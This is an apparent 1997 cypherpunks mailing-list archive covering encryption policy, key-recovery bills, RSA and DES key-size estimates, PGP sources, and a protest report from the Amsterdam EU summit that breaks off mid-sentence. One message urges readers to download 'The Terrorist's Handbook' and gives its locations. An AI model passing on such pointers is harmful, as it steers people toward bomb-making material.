the Internet 2 steering committee, said that the record-keeping burden would 
be onerous and that
the gains would be to slim when measured against the cost. 

"I can understand the FBI's point," Jackson said. "There are times when we 
want access to some
communications on campus and we can't get it." 

In his work at the University of Chicago and in his previous job at the 
Massachusetts Institute of
Technology, Jackson said, he was often called on to deal with disciplinary 
problems involving
misuse of the campus networks. "We had to use different leverage over people 
on campus," he
said. "Ultimately, the FBI is probably going to reach the same conclusion." 

Besides, Jackson said, it is virtually impossible even to define what 
encryption is. While the law
requires that the key-recovery agents deliver "plaintext," it is impossible 
to control how people
speak or what data they exchange. 

He went on to predict that the Internet 2 project would find a way to migrate 
into a completely
private entity if it became necessary to avoid government regulation. 

"Even the most optimistic estimates of what the federal contribution will be 
are still a small fraction
of the costs of Internet 2," he said. "It's serious money, and its important 
for making it go forward
quickly, but it's not the lion's share." 

George Cybenko, a professor at Dartmouth, said that his use of the Internet 2 
could drop to simple
e-mail and Web browsing because of the overhead imposed by keeping track of 
the keys. 

"If someone shows up and says, 'This packet came out of your office at 4 p.m. 
What does it mean?'
it will be a nightmare," Cybenko said. 

Many of the new uses of the Internet involve packing new and different forms 
of communication into
complicated data structures. Determining the difference between data that are 
encrypted and data
that are merely unconventional is difficult and could lead to problems. 

Some Internet correspondents have predicted that the FBI will be able to find 
a Senator to add an
amendment to Kerrey's bill to make key recovery mandatory for all Americans. 
Kerrey himself
suggested that this amendment may be offered by the Judiciary committee or on 
the floor of the
Senate in coming weeks. 

On Wednesday, the Senate Judiciary committee will begin holding meetings to 
investigate the
technology. Some expect that the committee chairman, Senator Orrin Hatch, 
Republican of Utah,
will offer his own version of the legislation. 

In the House, however, a different story continues to unfold. Goodlatte has
sponsored his SAFE
legislation (Security and Freedom through Encryption) that would relax export 
controls and not
require key-recovery provisions for anyone. His bill would deal with the 
problem of criminals hiding
their actions by extending the sentences of anyone who uses encryption in 
furtherance of a felony. 

His legislation has enjoyed wide, bipartisan support. Cosponsors range from 
conservative
Republicans like Tom DeLay of Texas, to liberal Democrats like Maxine Waters 
of California. 

In the last two days, six more members of the House have signed on as 
co-sponsors, bringing the total to 131. 

Copyright 1997 The New York Times Company 

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
#include 






From nobody at huge.cajones.com  Wed Jun 25 07:01:25 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 22:01:25 +0800
Subject: Top ATM maker signs deal with eye-scanning technology firm
Message-ID: <199706251336.GAA26072@fat.doobie.com>




http://www.techserver.com/newsroom/ntn/info/062497/info25_8064.html
      
   TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
   top maker of automated teller machines, plans to start offering
   machines that identify the user by scanning the eye.
   
   NCR said Tuesday it teamed with Sensar Inc. to offer a system that
   could eventually replace plastic cards and memorized numbers with a
   more secure system -- cameras that confirm the user's identity by the
   unique patterns in the iris, the colored ring in the eye.
   
   Besides improving security, executives at Dayton, Ohio-based NCR
   believe the system will make it more practical to use ATMs for selling
   airline tickets, insurance and investments.

...
   
   Under the deal, NCR will distribute and service the system for banks
   and other financial institutions around the world, except in Japan,
   where Sensar has a $42 million contract to develop the technology for
   ATMs.
   
   "We've still got a few kinks we're working out," said Kevin B.
   McQuade, vice president for strategic business development at
   Moorestown-based Sensar, adding that the company expects to begin mass
   production in a year.






From nobody at huge.cajones.com  Wed Jun 25 08:01:14 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 23:01:14 +0800
Subject: Flag Burning...
Message-ID: <199706251442.HAA02694@fat.doobie.com>




"David Downey"  wrote:

> Although I agree that the U.S flag should not be burned (and yes I am 
>also a veteran having served 8 years in the U.S Armed Forces), I can see 
>other floks points in allowing the flag to be burned. I will never 
>support it, yet since I served to keep the ability to choose a freedom 
>that we enjoy, I do not oppose that sentiment.

     "If we don't believe in freedom of expression 
      for people we despise, we don't believe in 
      it at all." - Noam Chomsky

     "We are willing enough to praise freedom when she 
      is safely tucked away in the past and cannot be 
      a nuisance. In the present, amidst dangers whose 
      outcome we cannot foresee, we get nervous about 
      her, and admit censorship." - E. M. Forster

     "I disapprove of what you say, but I will defend 
      to the death your right to say it." - Voltaire


The question that needs to be asked is, what does that flag represent that 
is being burned?  Does it represent the constitutional republic and respect 
for individual liberty that America was founded upon?  Or does it represent 
the socialist democracy and the arbitrary herd mentality view of "freedom" 
into which America has devolved?

If the latter, then pass me the gasoline and the matches.

An American







From nobody at REPLAY.COM  Wed Jun 25 08:08:40 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 23:08:40 +0800
Subject: No Subject
Message-ID: <199706251451.QAA20145@basement.replay.com>




Hello,

I was told that CBS or some other station air'd a story on Sweden.
"Sweden" ( not sure who? ) stated that they had knowledge of how to enter
ANY system that was conected to the internet.  Firewalls, etc... were
useless.  Has anyone else seen /or know this and is this true? or
complete mis-information?








From trei at process.com  Wed Jun 25 08:19:26 1997
From: trei at process.com (Peter Trei)
Date: Wed, 25 Jun 1997 23:19:26 +0800
Subject: Comparing Cryptographic Key Sizes II
Message-ID: <199706251502.IAA17998@toad.com>



There is still quite a bit of confusion about the difficulty
of factoring 512 bit moduli. I'll try to clear that up.

Adam writes:

> 
> For example, 40 bit RC4 (a symmetric key cipher) can be broken in a
> few hours with a few hundred workstations but 40 bit RSA (a public key
> cipher) can be broken in a fraction of a second on one PC. A 350 bit
> RSA key is roughly equivalent in strength to 40 bit RC4, and 512 bit
> RSA key is thought to cost roughly the same to break as a 56 bit DES
> key.
> 
> (That last comparison (DES vs 512 bit RSA) glosses over many issues.
> Here's a summary if you're interested: no one's broken a 512 RSA bit
> key yet, and you need lots of memory to break RSA at that key size, a
> PC with 128 Mb would be required to participate.  In contrast, you
> need hardly any memory to break DES, any PC will do.  The internet
> based breaking of a DES key in answer to RSA DSI's challenge involved
> many participants, and included some participants with low end 486 PCs
> with 1Mb of memory.  Theoretically 512 bit RSA could be broken more
> quickly than DES, but, as you need more memory than typical
> workstations have, a distributed internet attack with the same group
> of participants as for the DES break would clearly take longer.  There
> are a number of other factors also.)

Here's the sequence of events:

 We cracked a DES key, searching about 1/2 the keyspace. I used the
published speeds of the clients, and my own knowledge of the Pentium
processor, to estimate that this search used about 457,000 MIPS 
years.

 In his usenet note announcing the factoring of RSA-130 using GNFS,
(General Number Field Sieve) Lenstra estimates that the effort was 
about 500 MIPS years, '1/10th of the effort for RSA-129, using QS
(Quadratic Seive)'.

Bruce Schneier, in AC2, has a table giving 28,000 MIPS years as the
time to factor a 512 bit number using GNFS.

 I wrote to Lenstra, asking him how big a modulus he thought could
be factored with 1000x the power he used for RSA-130.

 Lenstra responded that that power should be able to factor a 600
bit modulus using GNFS, but that the sieving clients would need about
128 M of memory, and that the matrix problem would be 'very big' (he
did NOT say impossible).

 RSA-129 was factored using QS, on clients with as low as 8M of 
memory. In the paper "The Magic Words Are Sqeamish Ossifrage", in
which the factorization of RSA-129 using QS is described, the authors
(including Lenstra) estimate the QS could factor a 512 bit modulus
in about 500,000 MIPS years.

 I wrote to Lenstra, asking if QS could be used instead, to deal with
the memory and matrix problems. Lenstra responded to the effect that
it could.

So, to summarize:

Using GNFS, on clients with 128M of memory, you could factor a 512
bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
factor a 600 bit modulus.

Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
machines with modest memory requirements.

The effects of memory speed and bandwidth would slow things down
somewhat.

-----------------------------
One of the things that is bothering me about the reports I've been 
seeing is 'they took 6 months to break the key using thousands of
machines.' This is inaccurate - heavy work on the DES challenge did
not start for several months after the challenge was announced, and
the number of machines grew gradually as the work was done. 

Lets crunch some numbers:

Suppose an average client can test 500,000 keys/sec (this is 
a conservative figure).

Suppose we had 18,000 clients, 24x7, 100% utilized for this work.
(there were 14,000 in DESCHALL, 3000 in SolNet, 1000 misc(last is a 
conservative guess)

That's 9x10^9 keys/sec

To search 1/2 the keyspace, we need to test 2^55 keys = 3.6x10^16 keys.

->about 4,000,000 seconds

= 46 days.
-----------------------

Peter Trei
trei at Process.com



 






From jadams at seahawk.navy.mil  Wed Jun 25 08:32:18 1997
From: jadams at seahawk.navy.mil (John Adams)
Date: Wed, 25 Jun 1997 23:32:18 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <33A31B9C.F76DCB2A@netscape.com>
Message-ID: 



On Sat, 14 Jun 1997, Tom Weinstein wrote:

> Igor Chudov @ home wrote:
> > 
> > Tom, are you going to release the linux version of netscape,
> > and when.
> 
> I believe we still intend to release a linux version, although it
> obviously has a lower priority than Solaris or the Mac.

Ok, I'll byte.  Why is it obvious?  

Signed, a 50-license site that uses Linux but not Solaris nor Mac.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams at seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own






From tcmay at got.net  Wed Jun 25 09:50:14 1997
From: tcmay at got.net (Tim May)
Date: Thu, 26 Jun 1997 00:50:14 +0800
Subject: The Fix is In--Freeh to Brief Congressvermin
Message-ID: 



The push is on to undercut the remaining terrible bill, SAFE, and clear the
way for the Security for Big Brother Act of 1997. Freeh will be giving
certain congressvermin the "If you only knew what we know" classfied
briefing. Here's an excerpt from Reuters:

"Wednesday June 25 9:57 AM EDT

Clinton officials move to quash encryption bills

By Aaron Pressman

WASHINGTON - The Clinton administration this week is stepping up its campaign
to block Congressional efforts to ease strict U.S. export controls on computer
encoding technology.

A House International Relations Committee subcommittee easily approved
legislation on Tuesday to lift most of the restrictions on encryption programs,
software that scrambles information and renders if unreadable without a
password
or software "key."

Top administration officials, including Federal Bureau of Investigation
Director
Louis Freeh, will visit Capitol Hill Wednesday and Thursday to make the case
against relaxing export controls.

Freeh will testify at an open hearing in the Senate Judiciary Committee
Wednesday
and provide House lawmakers with a classified briefing on Thursday. "
                                                                      ^^^^^^^^^

(end of snipped portion)











From stewarts at ix.netcom.com  Wed Jun 25 10:26:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 26 Jun 1997 01:26:48 +0800
Subject: [ PGP 2.6.3 ]
In-Reply-To: <19970624.114147.7679.2.bull@juno.com>
Message-ID: <3.0.2.32.19970625082036.0075b4dc@popd.ix.netcom.com>



At 11:41 AM 6/24/97 EDT, bull at juno.com wrote:
>Can someone give me a site where I can get a compiled copy of PGP 2.6.3?

You can almost always find the PGP versions you want, as well as
other crypto, on ftp.pgp.net, which randomly picks a server in
the UK, Sweden, or other non-US locations.  One of the sites it
points to is ftp.ox.ac.uk.
You can often find things at replay.com as well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From silenced at black.colossus.net  Wed Jun 25 11:39:35 1997
From: silenced at black.colossus.net (Silenced (none))
Date: Thu, 26 Jun 1997 02:39:35 +0800
Subject: Bomb Making Info to be Illegal
Message-ID: <199706251817.LAA23297@black.colossus.net>





Soon, it may be illegal to distribute bomb making instructions.
Get your copy while you still can!

The Terrorist's Handbook is available at:
http://www.meaning.com/library/boom/thb/

The entire handbook, in HTML format, can be downloaded from:
ftp://ftp.meaning.com/pub/library/thb.tgz

DOWNLOAD A COPY WHILE YOU STILL CAN!
-silenced


>From WIRED news www.wired.com:

           Senate Votes to Block Bomb-Making Info
           by Rebecca Vesely

           12:09pm  20.Jun.97.PDT The Senate has voted 94-0 to tack onto a
           Defense Department spending bill an amendment that would
           prohibit the distribution of bomb-making instructions in the United
           States.

           Although the word "Internet" is not mentioned in the four-page
           amendment, the legislation would outlaw Web sites, newspapers,
           zines, and books that publish instructions on how to make a
           bomb - such as The Anarchist's Cookbook and The Terrorist
           Handbook. Violators would face fines and prison sentences of
           up to 20 years.

           Sponsored by Senator Dianne Feinstein (D-California), who has
           been trying to get the legislation on the books since 1995, the
           amendment passed Thursday is narrowly written to include only
           the distribution of material that has an "intent to harm."

...






From tcmay at got.net  Wed Jun 25 12:23:27 1997
From: tcmay at got.net (Tim May)
Date: Thu, 26 Jun 1997 03:23:27 +0800
Subject: Novel Recommendation: "Black Cipher"
Message-ID: <199706251855.LAA32320@you.got.net>



(A copy of this message has also been posted to the following newsgroups:
sci.crypt, alt.cypherpunks)




I just read a fine novel, a "crypto-thriller," called "Black Cipher."
Payne Harrison, 1994. It was being remaindered at SuperCrown in hardback
for $4.99. I assume it may be out in paperback by now.

It's about a British-Pakistani cryptanalyst named Faisal Shaikh, the top
cryptanalyst at GCHQ, Cheltenham. He stumbles across a cipher he's never
seen before, using 7 letter code groups, and sets out to crack it. The
portrait of how he works, how he applies math and tricks ("cribs") to make
the cipher more amenable to computer analysis is wonderful.

(Little mention of public key cryptosystems, save for a piece of local
color where Shaikh is starting to read a new paper by Shor and Rivest! The
author clearly did his homework.)

The novel paints vivid pictures of GCHQ, and of the politics within GCHQ
and NSA, making it a wonderful complement to Bamford's drier "Puzzle
Palace." (It's apparent that Harrison has read PP, and much more, and
probably talked to several current or past GCHQ and NSA folks.) Never
having been to Cheltenham, I had no real feel for it...now I feel I've
been there.

Dramatic, too, with interesting twists. Touches of financial thriller, war
thriller, and exotic locales (including a trip to Alice Springs, a single
engine aircraft ride to Ascencion Island in the remote Atlantic, and even
a look inside the KGB equivalent of the NSA.

Several weeks ago I recommended Joseph Finder's "The Zero Hour," which
also had some crypto in it. This is even better, both as a novel and in
terms of the amount of crypto and cryptanalysis portrayed. 

(Public key cryptosystems play no significant role, and the novel repeats
the common oversight of ignoring the fact that ordinary computer networks
are perfectly fine for sending small messages with almost no chance of
either detection or decryption. A radio signal plays a key role in the
novel, a signal that could have been sent any number of ways, including by
posting in conventional code (codebook) form in any Usenet newsgroup! But
don't let this small oversight, which may have been for dramatic reasons,
stop you from reading this novel.)

The portrait of the mathematician Faisal Shaikh is compelling. 

Highly recommended.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From nobody at huge.cajones.com  Wed Jun 25 12:25:06 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 03:25:06 +0800
Subject: The Right 2 Bare Arms
Message-ID: <199706251900.MAA13429@fat.doobie.com>



The unknowed soldier writes:

> What a fascinating idea! The govt. has declared code to be munitions (arms); 
> the Second Amendment guarantees the right to "keep and bear arms."

> Wish I'd thought of that.

  For some strange reason your message made me think about Tim May's
rant about laws regulating the size and method of transporting or 
carrying knives.
  Naturally, since 6" was the "standard" used in many places for
years to define the line between legal and illegal intent for
use of said "pointed instrument", I got to thinking about the
possibility of the laws being transposed to apply to another
common "pointed instrument" which is sometimes used as a tool
and at other times is used as a weapon.
  My first thought was to wonder if my 18 1/2" would automatically
make me a three-time loser and subject to lifetime imprisonment.
  My second thought was whether there would be corresponding laws
requiring the weapon to be "sheathed" in one locale and "in plain
sight" in another locale.

  Wish I hadn't thought of that.

A. Felon






From tank at xs4all.nl  Thu Jun 26 03:56:28 1997
From: tank at xs4all.nl (tank)
Date: Thu, 26 Jun 1997 03:56:28 -0700 (PDT)
Subject: 'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES
Message-ID: <199706261102.NAA19266@xs1.xs4all.nl>



We would like you to spread this information in your own
country among groups that are interested in what happened.

'EU ROT OP': 607 ARRESTS FOR SOME BROKEN FLAG-POLES

On June 16 and 17 Amsterdam was host for a European Summit that
should result in the Treaty of Amsterdam. This treaty can be
considered to be even a worsening compared to the Maastricht
Treaty, and therefor a threat to workers, unemployed, and
immigrants inside and outside the EU. Because of this, a very
big number of demonstrations was organised. The municipality of
Amsterdam wanted to use the opportunity to work on a new image.
We must admit the towm succeeded.

Before the summit the police and the mayor of Amsterdam every
time again stressed that Amsterdam should show itself as it is:
demonstrations and other actions would be tolerated as long as
they were held outside the security zones. Strange enough the
police seemed very worried about the announcement of the 'Days
of Chaos': in an internationally spread pamphlet it was announ-
ced that those days (that caused big riots in Hannover, BRD,
last year) should be celebrated in Amsterdam in the weekend
before the summit. Activists didn't take the announcement very
serious, but the police did. The police started an investigati-
on to the producers of the pamphlet and started visiting a
number of (squatted) houses to warn the occupiers not to give
shelter to visitors from outside the Netherlands. 
>From Friday 13th onward, we have been confronted with police
conducts that were unknown in the Netherlands so far. 
An overview on four days of police terror:


Friday 13.06

Although the summit will begin on the 16th of June, protests
against it are already heard. The alternative summit has
started on Thursday. The police in Den Haag is offering a
fortaste of things to come; participants in the Marches that
want to travel by train from Den Haag to Leiden are beaten up
at the station because they refuse to buy a ticket (in a
protest against growing poverty). One person breaks him arm,
some other are wounded as well.
This Friday the 'Days of Chaos' will start at 18.00. As all
expected nothing happens. Only some punks are lying in the sun,
drinking beer. They are being watched by a lot of policemen and
international press. When those leave, the about 200 punks
decide to do the same and start walking in the direction of the
Dutch Bank. On their way some flag-poles with summit flags and
one window of the French consulate are broken. Police and press
react immediately. An enormous amount of riot police and police
vans arrive and a lot of people are arrested very roughly. What
remains of the group is being chased over town. The police
later declares that 17 arrests were made; eyewitnesses say that
much more were arrested, probably fifty.


Saturday 14.06

50.000 people demonstrate against poverty, social exclusion and
unemployment. The police tries to control the peaceful demon-
stration: on the Central Station they seize a red/black flag
because 'it is forbidden to be Anarchist during the summit'.
The demonstration is so big that the whole centre of town is
filled with it. On it's way again flag-poles with summit-flags
are being broken. A group of some hundred demonstrators disag-
rees with the official route and make a half-hearted attempt to
go to the Dutch Bank. The police very easily can prevent this.
Just as the group is about to continu the official route, the
police tries to arrest someone. A small 'riot' is the conse-
quence. Some moments later the windows of a bank at the Leidse-
plein are smashed and one police van is pushed over. The police
decides that it has been enough: near the head quarters of
police they make a square attack on the demonstration, in which
they very roughly beat 300 people out of the demonstration. The
riot police seems especially interested in the heads of demon-
strators. People start throwing with everything they can lay
their hands on; also observers start attacking the police. It
looks as if the police wants to surround a part of the demon-
stration, but for a reason unknown to us they decide not to
complete their action. The demonstration therefor goes on to
the Dam square, breaking the remaining flag-poles on its way. 

When the demonstration arrives at the Dam square it turns out
that a group of 131 Italians is being held hostage at the
Central Station. They were part of a group of 3000 Italians
that wanted to join the demonstration. All of them have been
prohibited to leave the train. Directly after the demonstartion
about most Italians are allowed to leave the train. Almost 200
must stay in the train. They are being held at the station
because they are accused of damaging the train that brought
them to Amsterdam. After a few hours the group is being hand-
cuffed and transferred to a prison in Amsterdam. Near the
station people that protest against this are being beaten up by
the police. Later that night the Italians are put on the train
back to Italy. In this period they got no water or food. In
Germay the trains is stopped several times. It later shows that
the Dutch and German authorities are putting pressure on Italy
to arrest the group after arriving in Italy. The Italian
authorities refuse to do so. 
The reason for the special treatment of the Italians is not
clear. Officialy it is said that they damaged the train; on the
other hand there are statements by the prosecutor that the
police wanted to prevent that the Italians would join the
German and Dutch 'autonomous blocks' in the demonstration. The
funniest statement by the prosecutor: "If you saw what was
coming out of this train, than you know what could have happe-
ned". 

In a television interview later this evening the mayor tells to
be very pleased with the demonstration: 'unique in the history
of the EU', 'so may people from so many countries', 'a privili-
ge for Amsterdam'. On questions about the incidents during the
demonstration he answers that compared to the amount of demon-
strators nothing really happened; just some broken windows of a
bank and one police van pushed over is neglectable, especially
compared to what happens in other countries in demonstrations
like this. According to the mayor, Amsterdam has shown that it
can be host for opponents of the EU as well. Not a word on the
treatment of the Italians.

The people that joined the Marches, and who arrived from all
over Europe on Friday, were given a hospitable reception by the
municipality of Amsterdam. They can shake hands with the mayor
on Friday afternoon and get shelter in a school in Amsterdam-
west. After the demonstration on Saturday they are tired and
want to go to bed. An unpleasant surprise: the municipality has
decided that its hospitality will last till Saturday evening.
Under the device "your demonstration is over" the marchers are
thrown on the street in the middle of the night. A part of them
is angry about this treatment and refuses to leave the school.
The police beats them out. So far the proverbial Dutch hospita-
lity.


Sunday 15.06

Three demonstrations: a streetrave (Legalize!) against the EU
drug policy; the Ero summit for sexual diversity; a demonstra-
tion at the homo-monument for the rights of lesbians and gays. 
The route of the Legalize!-demonstration was planned in consul-
tation with the police. At the begin of the demonstration the
police orders another route. The organisers agree, the 2000
demonstrators don't. They dance their planned route, reminding
the police of the words of the mayor: demonstrations outside
the security zones will not be obstructed. Police provocations
during the streetrave are not answered. 
The Ero summit and the gay and lesbian demonstration are a big
success because of the omnipresent press.

In the morning there already is a high police activity near
Vrankrijk, one of the information points for demonstrators
against the EU. The streets are almost blocked by police and in
front of Vrankrijk the police is filming people with a special
video-van. People throw paint at the van to make the filming
impossible. 
In the evening it becomes clear why the police has been fil-
ming. People that leave Vrankrijk are arrested and charged on
the accusation of being 'member of a criminal organisation'
(section 140, Penal law). After 18.00h people who have visited
Vrankrijk are arrested all over the centre of town; some of
them by a police unit dressed in civil clothes, blindfolding
the people they arrested and transporting them in a black
Mercedes. 
At 21.00h a group of 350 people leaves Vrankrijk for a demon-
stration at the headquarters of police, to show their solidari-
ty with those arrested before. It will be the shortest demon-
stration of their lifes: after 20 meters they are surrounded by
riot police. The group sits down on the street to wait for what
will happen; the police 'cleans' the area around Vrankrijk.
Also the press is kept at a big distance. Press that can come
closer is obstructed when taking pictures of ill-treatment and
other violations by the police. All 350 people are arrested on
the charge of 'membership of a criminal organisation' (section
140). Also spectators that protest are arrested as members of
the same organisation. It is the biggest mass-arrest since
1966. 

After the transport of the arrested people the police raises
their cordons. New demonstrators and other people that are
curious about what happened fill the bar in Vrankrijk: the
birth of a second criminal organisation. Again the neighbour-
hood is fenced off by the police, and it becomes clear that
they are planning a raid on Vrankrijk to arrest all inside.
People that leave the bar are arrested, handcuffed and trab-
sported as member of a criminal organisation. 
The arrested people are transported to prisons all over the
Netherlands.

In the first comments on the police operation in which 382
people have been arrested, a lot of people show their disbelie-
ve on what happened. It is clear that the accusation of mem-
bership of a criminal organisation is only meant to keep people
from the streets for a few days, till after the summit. It also
becomes clear that the operation was planned long before the
summit. 


Monday 16.06

The actual start of the summit. In the centre of Amsterdam the
police control is absolute. Vans and riot police are everywhe-
re, raid vans are crossing through town and observation units
are working overtime. Everywhere people are arrested, arbitrary
and only because of their appearance. In 'de Pijp', an area far
away from all political activity, 7 people are arrested for
'violation of the prohibition of gathering'. 
In the afternoon there will be a demonstration against the
European migration policy. The organisors mean to go by bicycle
to the refugee prison in Amsterdam South East, and pass by the
Dutch Bank as near by as possible. On the Heineken square, were
the demonstration will start at 16.00h, there is a lot of
police ativity at 15.30 pm. Journalists are forced to leave the
square, people who are drinking beer on the pavement outside
bars are ordered to go inside. All bikes on the square have to
be removed. When people start gathering at 16.00h, there is
already a lot of police. However, it is still possible for
bikers to go into the direction of the Dutch Bank. 
When the head of the demonstration starts forming (directed
towards the bank) suddenly al lot of riot police is out of
their vans and prevents the demonstration to leave in the
direction it wanted to. Because the riot police is obviously
aiming at directing the demonstration of about 800 bikers awy
from the centre, the demonstration decides to cycle through the
narrow streets near the Heineken square. Because the police can
not easily follow the demonstration, the head of the demonstra-
tion can reach the bridge near the Dutch Bank. Panic within the
omnipresent police force: the head of the demonstration is only
150 meters away from the bank! The police decides to split the
demonstration. The back part of the demonstration can not join
the 500 people that are on the brifge. After shouting at the
bank and the policelines for 15 minutes the splitted groups
reunite again in another street. During the demonstration
itself nothing happens anymore, due to the route. The chosen
route made it almost impossible for the police to follow it
with vans. 
The demonstration at the prison is calm. In a creative way the
1200 demonstrators try to communicate with prisoners (by
shooting tennis balls on the inner court, digging a tunnel,
climb up the fences with ladders etc). However, the police
thinks it is too calm. Just before the planned end of the
demonstration the police radio announces the description of a
man they want to arrest. The man concerned is warned by others,
but he says that he has nothing to fear because he didn't do
anything wrong. When the demonstration is ended at 21.00h,
suddenly two arrest-units jump on the man and arrest him. A lot
of people run to the place where it happens, things are getting
out of hand, but just in time people realise that that was the
only purpose of the arrest. 

At 22.00h some hundreds of people gather at the Nieuwmarkt for
a demonstration. They want to walk to the hotels where the
ministers are staying, and cheer very loudly to thank them for
the splendid work they have been doing. It is clear that it
will be a demonstration with a very playful character. The
organisers begin the demonstration with offering a cake to
Chirac. After having delivered the cake at the entrance of the
hotel Chirac is staying, the group walks to the next hotel. The
jolly march is stopped by the riot police. The demonstration
walks back but is soon completely surrounded by police. After
30 minutes it becomes clear that there will be another mass-
arrest. Some people can escape using a boat that passes by. On
the other side of the water people are visibly disagreeing on
the second mass-arrest in two days. They also are about to be
surrounded. They can leave just in time, taking (again) some
flag-poles. Ten others are arrested on the other side of the
water while watching what is happening and transported together
with the others. 
In the meantime the demonstrators keep on cheering, but this
time for the police. They applaud for the riot police and civil
police. People start collecting money to contribute a little to
this money swallowing police operation. When the busses arrive
to take arrested people awy a lot of people show their tickets
in order to pay for the service. One journalist is also arre-
sted, her accreditation is seized. All 143 arrested people are
searched and handcuffed with plastic strips. Some of them are
told by the police that they have been arrested on .... section
140. They have to sit in the busses, that are not leaving for
one hour. When the busses start driving, they take a very
special route. After three hours (!) the busses arrive at the
prison: a route that can be done in 15 minutes. 
After having spend several hours on the cold floor, the people
who told their name are released. They get a fine of 125
guilders. The arrested people that refused to give their names
are released after 6 hours. 
After their release they cab read in the newspapers that they
were involved in riots and that they tried to enter a security
zone. The police says that they made this clear by warning the
demonstration and charging at it. None of those arrested nor
journalist have heard the warnings nor have they seen a police
charge. The spokesman of the police later says that the demon-
strators violated the restriction in zone 3. When a reporter
asks him how one can know that he or she is entering zone 3,
because there are no signs indicating this, the spokesman says
that zone 3 can easily be recognized because of the amount of
policemen one can see.

One of the arrested demonstrators is immediately arrested after
his release, because he unpacks his belongings from his search-
packet. The police officer involved feels provocated by that.
He decides to let the man go, but not after fining him with 40
guilders for disturbing public order.





Tuesday 17.06
Trial against the State in order to have the 343 arrested
people from Sundaynight released. 
The judge decides to realease three of the four persons that
are proceeding because there is no proof for their individual
contribution to the 'criminal organisation' Vrankrijk. The
judge declares that the verdict also applies for others in the
same position. The Ministry of Justice and the public prosecu-
tor have their own interpretation: in the verdict they read
that they don't have to release the others because the judge
said that mebership should be proved individually. With this
argumentation the arrested people are kept in detention till
after the summit. 
In the morning the authorities start deporting the foreigners
amongst the ones arrested. Some of them are delivered to the
national police (in Germany, Belgium), to avoid long lasting
extradiction procedures. Many of them have been deported
without getting back their personal belongings that were seized
when they were arrested. Passports and money were missing. Some
of those persons have again been arrested for not having
identity papers. It lasted untill Thursday before it was clear
that there were a lot of passports and other things at the
headquarters of police. Untill now the police refuses to hand
over the passports to the lawyers; the police says that people
can come and get them theirselves. 

In the afternoon there is a planned 'autonomous' demonstration
against a capitalist unified Europe, from the Dam square to the
theatre Carr,, where the Dutch prime-minister will have a press
conference to announce the results of the summit. 
The authorities decide to take a firm stand. The demonstration,
scheduled for two o'clock, is prohibited one hour before. Wit-
hout success: 2000 people gather at the Dam square, not only to
protest against the unification of Europe, but also against the
police brutalities during the summit. 
The demonstration is guarded by an overwhelming amount of
police. Uniformed ('normal') police is aware that the demon-
stration has a peaceful character and tries to keep away the
riot police, but they fail. At several points the riot police
has blocked the streets. When the demonstration wants to enter
a 19th century neighbourhood, far from the security zones, it
is stopped by the riot police. The uniformed police tries to
negociate with the riot police, because the prohibition of a
demonstartion so far away from the security zones is ridicu-
lous. Without result. The demonstration decides to return to
the Dam square where the flower-bed, that was created for the
official guests of the summit and that forms the european flag,
is complety destroyed by demonstrators.  

At night there are two smaller actions. 
At midnight there is a second 'cheer'demonstration. About 100
people go to the house of the mayor to thank him for the
creative way he showed his hospitality, by giving shelter to
hundreds of opponents to the EU. Policemen on horses try to run
over people, around the corner a police force is waiting that
outnumbers the demonstration. After one hour the demonstrators
go to bed.

Later that night, at around 4.30, the official press conference
starts in the heavily guarded theatre Carr,. Ten journalists
show their discontent with this Europe by unfolding banners and
shouting against the exclusion of environmental issues and
human rights in the Amsterdam treaty. Because they do this one
after another, it takes 15 minutes before the journalists are
arrested and taken away. The arrests are very rough. Funny is
the conversation during the action between prime minister Kok
abd minister of Foreign Affais van Mierlo. Kok (annoyed and
cynical): "Well, this has been very well organised again in
here". Van Mierlo (serious): "They could have been armed with
handgranates". Of course. Journalists have a reputation for
that. 



Balance

According to police figures, 609 arrests have been made. This
number does not include the arrested and deported Italians on
Saturday. It also does not include those arrests that were not
registered. 
None of the ones arrested got a summons. The only ones who got
a fine are people that were arrested during the 'cheer'demon-
stration on Monday. The public prosecutor says he is still
considering individual charges. The lawyers are convinced that
no-one will be prosecuted. 
The international press is very surprised on the extreme safety
measures. Foreign journalists are angry with the fact that they
were kept away from the ministers and from the inhabitants of
Amsterdam. It is clear that this has been the most extreme
guarded summit in the history of the EC/EU. Even delegates of
officials have been complaining abouit the safety measures.

The use of section 140 in this way is without precedent in the
Netherlands and, as it seems, without precedent within the EU.
Maybe it is a fortaste of what groups of people can expect when
Europol advices in the future what to do with events that can
be a threat to public order (concerts, demonstrations, sport
events). It was used before against political groups, but
always after things happened and with a more specific definiti-
on of proof and charges. Nevertheless it has of course been
used against left groups that could not be prosecuted in other
ways. In over 90% of the cases in which it has been used it
never came to any conviction, and people were only prosecuted
under section 140 because it allows the police to use much more
criminal investigation techniques than in prosecutions under
other sections.
This has been the first time that is has been used to prevent
possible disturbing of public order and security. It has become
clear that this has been organised very well by police, Justice
and Home Affairs. The facts that there were no massive riots,
no violent demonstrations and that in fact nothing happened
that could possibly justify the move of Justice, confirm the
